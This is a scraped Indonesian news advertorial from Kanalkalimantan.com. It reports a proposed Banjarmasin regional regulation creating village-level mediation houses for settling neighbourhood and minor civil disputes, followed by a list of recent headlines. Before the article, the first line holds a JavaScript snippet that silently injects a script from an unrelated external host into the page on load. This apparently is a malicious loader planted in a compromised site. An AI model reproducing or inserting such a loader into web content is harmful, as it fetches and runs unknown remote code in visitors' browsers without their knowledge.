(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

DPRD Kota Banjarmasin DPRD Bersama Pemko Banjarmasin Akan Bentuk Raperda Rumah Mediasi


KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota (Pemko) bersama DPRD Kota Banjarmasin  melaksanakan rapat paripurna tingkat satu, dengan agenda penyampaian Rancangan Peraturan Daerah (Raperda) tentang Rumah Mediasi. Rabu (23/10/2024).

Pada rapat paripurna tersebut, seluruh fraksi DPRD Kota Banjarmasin menyetujui penyampaian, terhadap Raperda inisiatif yang diajukan, oleh Pemerintah Kota (Pemko) Banjarmasin.

Ketua DPRD Banjarmasin Rikval Fachruri mengungkapkan, pihaknya sangat mendukung, terhadap rencana pembentukan peraturan daerah ini, hal ini tentunya  merupakan langkah awal dan niat baik dari Pemko Banjarmasin untuk menciptakan lingkungan masyarakat yang kondusif dan damai.

“Harapannya dengan payung hukum ini, pembentukan satu lembaga atau badan di tingkat kelurahan yang dapat melakukan mediasi konflik dimasyarakat sebelum masuk ke ranah hukum,” ungkap Rikval Fachruri, kepada wartawan.

Menurutnya, hal yang paling penting dalam usulan peraturan daerah itu, adalah menjadikan masyarakat kota lebih bijak, dalam menyikapi masalah yang dapat muncul, dalam kehidupan sehari-hari, bahwa tidak selalu persoalan atau masalah yang terjadi di masyarakat, harus diputuskan melalui jalur hukum positif.

Baca juga: PLN Sukses Menjaga Pasokan Listrik saat MTQ Nasional di Samarinda

“Artinya perkara yang dapat di tangani melalui Rumah Mediasi ini, diluar perkara pidana berat. Hanya yang masih bisa dilakukan upaya damai, dengan dibantu oleh pihak Kelurahan setempat,” ujarnya.

Sementara itu, Walikota Banjarmasin Ibnu Sina menjelaskan, dasar alasan dibentuknya peraturan daerah tentang rumah mediasi itu, adalah kebiasaan atau adat masyarakat setempat, dalam menyelesaikan suatu persoalan melalui langkah komunikasi, dengan melibatkan para tokoh hingga diambil keputusan dama.

Sehingga, potensi konflik atau persoalan yang muncul tidak sampai membesar dan harus dilanjutkan ke ranah hukum.

“Adat atau kebiasaan Bedamai dalam menyikapi permasalahan inilah, yang ingin kita naungi dalam satu wadah ditingkat kelurahan yang dinamakan rumah mediasi,”jelasnya.

Persoalan yang dapat ditangani tambahnya, bisa berupa perselisihan antar tetangga, beda pendapat hingga perkara perdata batas kepemilikan lahan, yang masih bisa diselesaikan melalui dialog di ‘Rumah Mediasi’ dengan melibatkan tokoh mulai dari Lurah, Babinsa dan Bhabinkamtibmas setempat.

“Setelah persoalan itu bisa didamaikan, maka akan dibuatkan satu surat keterangan perdamaian yang memiliki kekuatan hukum. Agar para pihak yang bertikai memahami dan menaati surat perdamaian itu,”tambahnya.

Dia berharap ujarnya, dengan dibentuknya peraturan daerah tentang rumah mediasi itu, maka Pemko setempat ditiap kelurahan bisa memiliki satu lembaga yang bisa menjembatani masyarakat dalam menyelesaikan satu konflik, sebelum menjadi perkara besar dan berimplikasi hukum.

“Kebiasaan masyarakat kita dalam menyelesaikan masalah dengan cara Bedamai ini, sudah ada dalam salahsatu kajian hukum yang ditulis oleh Bapak Ahmadi Hasan dari UIN,”ujarnya.(Kanalkalimantan.com/adv)

Reporter: adv
Editor: kk


Muhammad Andi

Recent Posts

Shopping Funtastic 2025 Tarik Pengunjung Lebih Besar, Catat 125 Ribu Kupon Undian

KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More

11 jam ago

Potensi Bikin Jalan Ir PM Noor Terganggu, Lapak Durian Sungai Ulin Diberi Teguran

KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More

12 jam ago

Urbanisasi, Pembangunan IKN dan Dampak Ikutannya

Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More

20 jam ago

Baznas Balangan Salurkan Bantuan untuk Masyarakat Berbagai Bidang

KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More

20 jam ago

Balangan Raih Kabupaten Terinovatif Indeks Inovasi Daerah IGA 2025

KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More

20 jam ago

Turnamen Gila Basket Tutup Tahun 2025 di Lapangan Rebatig

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More

21 jam ago

This website uses cookies.